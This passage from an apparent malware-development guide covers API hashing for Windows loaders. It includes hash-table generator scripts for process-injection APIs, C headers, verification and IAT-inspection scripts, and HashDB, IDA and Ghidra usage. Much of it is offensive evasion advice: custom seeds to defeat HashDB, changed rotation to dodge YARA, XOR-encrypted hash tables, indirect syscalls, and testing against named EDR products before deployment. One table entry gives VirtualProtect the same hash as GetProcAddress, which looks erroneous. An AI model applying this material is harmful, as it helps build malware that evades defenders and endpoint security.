    return binascii.crc32((s + '\x00').encode()) & 0xFFFFFFFF

# ─── API list ─────────────────────────────────────────────────
APIS = [
    "VirtualAlloc",
    "VirtualProtect",
    "VirtualFree",
    "CreateThread",
    "CreateRemoteThread",
    "WriteProcessMemory",
    "ReadProcessMemory",
    "OpenProcess",
    "CloseHandle",
    "WaitForSingleObject",
    "GetThreadContext",
    "SetThreadContext",
    "LoadLibraryA",
    "LoadLibraryW",
    "GetProcAddress",
    "GetModuleHandleA",
    "NtAllocateVirtualMemory",
    "NtWriteVirtualMemory",
    "NtCreateThreadEx",
    "NtProtectVirtualMemory",
    "RtlCopyMemory",
    "RtlZeroMemory",
]

SEED = 0xDEADBEEF   # ← Change this per project

# ─── Output ────────────────────────────────────────────────────
print("// Auto-generated API hash table")
print(f"// Seed: 0x{SEED:08X}")
print()
print(f"{'API':<40} {'ROR13':<14} {'DJB2':<14} {'FNV-1a':<14} {'CRC32'}")
print("-" * 100)

for api in APIS:
    r = ror13(api)
    d = djb2(api, SEED)
    f = fnv1a32(api, SEED)
    c = crc32(api)
    print(f"{api:<40} 0x{r:08X}   0x{d:08X}   0x{f:08X}   0x{c:08X}")

print()
print("// C header format (FNV-1a with custom seed):")
print(f"#define APIHASH_SEED 0x{SEED:08X}u")
print()
for api in APIS:
    h = fnv1a32(api, SEED)
    print(f"#define HASH_{api:<35} 0x{h:08X}u")

15.2 Compile and Verify Hash Values (Windows CMD)

:: verify_hashes.bat — Compile a small test to verify compile-time hash values

@echo off

:: Requires MSVC (cl.exe) or MinGW (g++)

:: Test: does compile-time HASH("VirtualAlloc") match runtime computation?
echo #include "apihash.hpp" > verify_test.cpp
echo #include ^<stdio.h^> >> verify_test.cpp
echo int main() { >> verify_test.cpp
echo     printf("Compile-time: 0x%%08X\n", APIHASH("VirtualAlloc")); >> verify_test.cpp
echo     printf("Runtime:      0x%%08X\n", _apihash_cx("VirtualAlloc")); >> verify_test.cpp
echo     return 0; >> verify_test.cpp
echo } >> verify_test.cpp

:: MSVC
cl.exe /O2 /W0 /std:c++17 verify_test.cpp /link /out:verify_test.exe
verify_test.exe

:: MinGW
:: g++ -O2 -std=c++17 verify_test.cpp -o verify_test.exe && verify_test.exe

del verify_test.cpp verify_test.exe 2>nul

15.3 Import Inspection — Before and After

# Install: pip install pefile

# inspect_imports.py — Check if suspicious APIs are in IAT

import pefile
import sys

def check_imports(path: str):
    pe = pefile.PE(path)

    print(f"\n[*] Analyzing: {path}\n")

    if not hasattr(pe, 'DIRECTORY_ENTRY_IMPORT'):
        print("[+] No imports found in IAT — fully hash-resolved!")
        return

    suspicious = [
        "VirtualAlloc", "VirtualProtect", "CreateThread",
        "WriteProcessMemory", "CreateRemoteThread", "OpenProcess",
        "NtAllocateVirtualMemory", "NtCreateThreadEx",
        "SetWindowsHookEx", "QueueUserAPC",
    ]

    print("Imported DLLs:")
    for entry in pe.DIRECTORY_ENTRY_IMPORT:
        dll = entry.dll.decode()
        print(f"  {dll}:")
        for imp in entry.imports:
            name = imp.name.decode() if imp.name else f"Ordinal {imp.ordinal}"
            flag = " ← SUSPICIOUS" if name in suspicious else ""
            print(f"    {name}{flag}")

if __name__ == "__main__":
    check_imports(sys.argv[1] if len(sys.argv) > 1 else "loader.exe")

16. Tool Reference (HashDB, IDA, Ghidra)

What it means: These are the primary analyst-side tools for identifying and reversing API hashing in malware. Understanding what defenders use helps offensive operators build hashing that evades these tools.

16.1 HashDB — OALabs (Analyst Tool)

[TOOL] HashDB is the authoritative API hash lookup service. It maps known hash values back to Windows API names across dozens of known algorithms.

# HashDB — https://hashdb.openanalysis.net/
# GitHub: https://github.com/OALabs/hashdb

# API usage: look up any hash value
curl "https://hashdb.openanalysis.net/hash/0xe553a458"

# Response:
# {
#   "algorithms": ["ror13_add"],
#   "matches": [{ "api": "VirtualAlloc", "module": "kernel32.dll" }]
# }

# Python client usage:
pip install requests

import requests

def hashdb_lookup(hash_value: int, algorithm: str = "ror13_add") -> dict:
    url = f"https://hashdb.openanalysis.net/hash/{hex(hash_value)}"
    resp = requests.get(url)
    return resp.json() if resp.status_code == 200 else {}

result = hashdb_lookup(0xE553A458)
print(result)

IDA Pro — HashDB Plugin:

# Install HashDB IDA plugin:
# https://github.com/OALabs/hashdb-ida

# Installation:
# 1. Download hashdb_ida.py
# 2. Copy to IDA plugins directory: %APPDATA%\Hex-Rays\IDA Pro\plugins\
# 3. Restart IDA Pro

# Usage in IDA:
# Right-click on a hash constant → "HashDB Lookup"
# Plugin automatically identifies algorithm and renames constant to API name

# Bulk lookup — select multiple constants:
# Edit → Plugins → HashDB → Bulk Lookup

Ghidra — HashDB Plugin:

# HashDB Ghidra plugin:
# https://github.com/OALabs/hashdb-ghidra

# Usage:
# Script Manager → Run HashDB script
# Highlight constant → right-click → HashDB Lookup

16.2 Defeating HashDB — Custom Seeds

HashDB lookup FAILS when:
  1. You use a non-standard seed value (DJB2_SEED = 0xDEADBEEF vs standard 5381)
  2. You use a modified algorithm (ROR7 instead of ROR13)
  3. You use a novel composite algorithm (hash1 XOR hash2)
  4. You include DLL name in hash calculation in a unique way
  5. You use per-build random seeds via __TIME__ macros

HashDB lookup SUCCEEDS when:
  1. You use standard ROR13 (Metasploit default)
  2. You use unmodified FNV-1a or DJB2 with default seeds
  3. Your algorithm is submitted to the HashDB repository

[OPSEC] The single most effective evasion against HashDB: custom seed value.
        A $10 change: 5381 → 0xDEADBEEF makes all DJB2 hashes unresolvable
        by HashDB without knowing your seed.

16.3 Analysis Commands (Blue Team Perspective)

# 1. Strings — look for embedded function names (bypassed by hashing)
strings -n 6 malware.exe | grep -iE "virtual|create|thread|process|alloc"

# 2. PE analysis — check for empty or minimal IAT
pe-bear malware.exe           # GUI: inspect Import Table
cff-explorer malware.exe      # GUI: check imported functions
dumpbin /imports malware.exe  # CLI: list all imports

# 3. Capa — capability detection (detects hash-based resolution patterns)
pip install capa
capa malware.exe
# Output: "resolve API calls", "hash function names", "walk process heap"

# 4. CAPA rule for PEB walking (often precedes hash-based resolution):
# rule: walk the module list
#   features:
#     - api: ReadProcessMemory
#     - bytes: 64 A1 60 00 00 00    (mov rax, gs:[0x60])
#     - bytes: 65 48 8B 04 25 60 00 (mov rax, gs:0x60)

# 5. HashDB bulk hunt in IDA/Ghidra
# After loading binary: identify integer constants → submit to HashDB

17. Detection & Evasion

17.1 What Defenders Look For

[DETECT] Static Signatures:
  ├─ ROR13 instruction: ror eax, 0x0D  (YARA: { C1 C8 0D })
  ├─ PEB access: mov rax, gs:[60h]     (YARA: { 65 48 8B 04 25 60 00 00 00 })
  ├─ Known hash constants (0x0726774C = ROR13 "LoadLibraryA")
  ├─ Export directory parsing patterns
  └─ DJB2 seed 5381 (0x1505) in binary

[DETECT] Behavioral / Dynamic:
  ├─ Process calls functions not in its IAT (ETW telemetry)
  ├─ Unusual access to PEB.Ldr at startup
  ├─ Enumeration of all exports from kernel32/ntdll
  ├─ Memory-mapped reads of DLL export tables
  └─ Syscall or API calls immediately after export walk

[DETECT] YARA Rules (Common):
  rule detect_ror13_api_hashing {
    strings:
      $peb_x64  = { 65 48 8B 04 25 60 00 00 00 }   // mov rax, gs:[60h]
      $ror13    = { C1 C8 0D }                        // ror eax, 0x0D
      $ror13b   = { D1 C8 }                           // ror eax, 1 (multi)
    condition:
      $peb_x64 and $ror13
  }

17.2 Evasion Techniques

Detection Method Bypass
YARA: ror eax, 0x0D Use ROR7 or ROR11 — change rotation bits
YARA: gs:[0x60] Indirectly read PEB via NtCurrentTeb() or via another struct
HashDB lookup Use custom seed or custom algorithm
Standard DJB2 seed Change seed: 5381 → 0xDEADBEEF
Behavioral: API not in IAT Add decoy imports; use call-timing tricks
ETW hook detection Use indirect syscalls after hash resolution
Emulator: export enumeration Add delay/junk loops before EAT walk
Memory scanner: raw hash list Encrypt the hash table XOR a runtime key

17.3 Advanced Evasion — Encrypted Hash Table

// encrypted_hashes.h — Don't store hashes plaintext — XOR encrypt them
// Defender sees encrypted blob, not recognizable hash constants

#define HASH_KEY  0xA5B4C3D2u  // Runtime key — derive from env/time

// Encrypted at compile time, decrypted at runtime
// Python: print(hex(0xE553A458 ^ 0xA5B4C3D2))  → 0x40E7772A
#define ENC_HASH_VirtualAlloc   0x40E7772Au   // 0xE553A458 ^ HASH_KEY
#define ENC_HASH_CreateThread   0xDB6634EBu   // 0x7802F749 ^ HASH_KEY

// Decrypt before use
static inline uint32_t decrypt_hash(uint32_t enc) {
    return enc ^ HASH_KEY;  // XOR with key at runtime
}

// Usage:
//   FARPROC f = resolve(decrypt_hash(ENC_HASH_VirtualAlloc));
//   → Defenders see 0x40E7772A, which means nothing without HASH_KEY

18. Comparison Matrix

Algorithm Speed Collision Resistance Code Size Detection Risk Custom Seed? Used By
ROR13 Fast Low Tiny (ASM) HIGH (known YARA) Rotation only Metasploit, Cobalt Strike
DJB2 Fast Medium Small Medium (known HashDB) ✅ Easy GuLoader, Hell's Gate
FNV-1a Fast High Small Medium (in HashDB) ✅ Easy TONESHELL, modern loaders
CRC32 Medium High Larger Medium Polynomial GuLoader, PE tools
Custom Varies Varies Medium LOW (unknown algo) ✅ Built-in Custom malware
Double Hash Slower Very High Larger LOW (unknown combo) ✅✅ Advanced loaders

19. Cheat Sheet

Quick Commands

# Compute ROR13 hash for any API (Python one-liner)
python3 -c "
name='VirtualAlloc'; h=0
for b in (name+'\x00').encode():
    h=((h>>13)|(h<<19))&0xFFFFFFFF; h=(h+b)&0xFFFFFFFF
print(f'ROR13(\"{name}\") = 0x{h:08X}')
"

# Compute DJB2 hash
python3 -c "
name='VirtualAlloc'; h=5381
for b in name.encode(): h=((h<<5)+h+b)&0xFFFFFFFF
print(f'DJB2(\"{name}\") = 0x{h:08X}')
"

# Compute FNV-1a hash
python3 -c "
name='VirtualAlloc'; h=0x811C9DC5
for b in name.encode(): h=((h^b)*0x01000193)&0xFFFFFFFF
print(f'FNV-1a(\"{name}\") = 0x{h:08X}')
"

# Look up a hash in HashDB
curl "https://hashdb.openanalysis.net/hash/0xe553a458"

# Check IAT of a binary (PowerShell)
dumpbin /imports loader.exe | Select-String "Virtual|Create|Thread|Alloc"

# Extract constants from binary for HashDB submission
python3 -c "
import pefile
pe = pefile.PE('malware.exe')
# Extract .data section for potential hash constants
for s in pe.sections:
    if b'.data' in s.Name:
        data = s.get_data()
        for i in range(0, len(data)-3, 4):
            val = int.from_bytes(data[i:i+4], 'little')
            if 0x01000000 < val < 0xFFFFFFFF:
                print(f'  0x{val:08X}')
"

Key Offsets Reference (x64)

PEB Access:
  GS:[0x60]       = PEB pointer
  PEB+0x18        = PEB.Ldr (PEB_LDR_DATA*)
  Ldr+0x20        = InLoadOrderModuleList.Flink (first LDR_DATA_TABLE_ENTRY*)

LDR_DATA_TABLE_ENTRY (per entry):
  +0x00           = InLoadOrderLinks.Flink   (next entry pointer)
  +0x10           = DllBase                  (module base address)
  +0x30           = BaseDllName (UNICODE_STRING)
    .Buffer        = wchar_t* to short name

Export Directory (IMAGE_EXPORT_DIRECTORY):
  +0x18           = NumberOfNames
  +0x1C           = AddressOfFunctions (RVA)
  +0x20           = AddressOfNames (RVA)
  +0x24           = AddressOfNameOrdinals (RVA)

NT Headers (PE32+):
  +0x3C from DOS  = e_lfanew (NT header offset)
  NT+0x88         = DataDirectory[0].VirtualAddress (Export RVA)

Known Hash Values (ROR13, No Module Prefix)

API Name                       ROR13 Hash
─────────────────────────────────────────
LoadLibraryA                   0x0726774C
GetProcAddress                 0x7C0DFCAA
VirtualAlloc                   0xE553A458
VirtualProtect                 0x7C0DFCAA
CreateThread                   0x7802F749
WriteProcessMemory             0x9DBD95A6
OpenProcess                    0x0A2A1DE4
CloseHandle                    0x528796C6
WaitForSingleObject            0x601D8708
NtAllocateVirtualMemory        0x55EE99DE
NtCreateThreadEx               0xAF18C2E8
LoadLibraryA (for bootstrap)   0x0726774C  ← Most critical to resolve first

[OPSEC] Final Notes: - Always use a custom seed — standard seeds are in HashDB - Change rotation bits away from 13 — it's a known detection marker - Encrypt your hash table with an XOR key derived at runtime - Combine with indirect syscalls for maximum IAT cleanliness - Test against Defender, CrowdStrike, and SentinelOne before deployment - Use capa on your own binary to verify no hash-resolution patterns are flagged - [TOOL] Test binary cleanliness: strings loader.exe | grep -E "Virtual|Create|Thread|Write"

← Malware development top ↑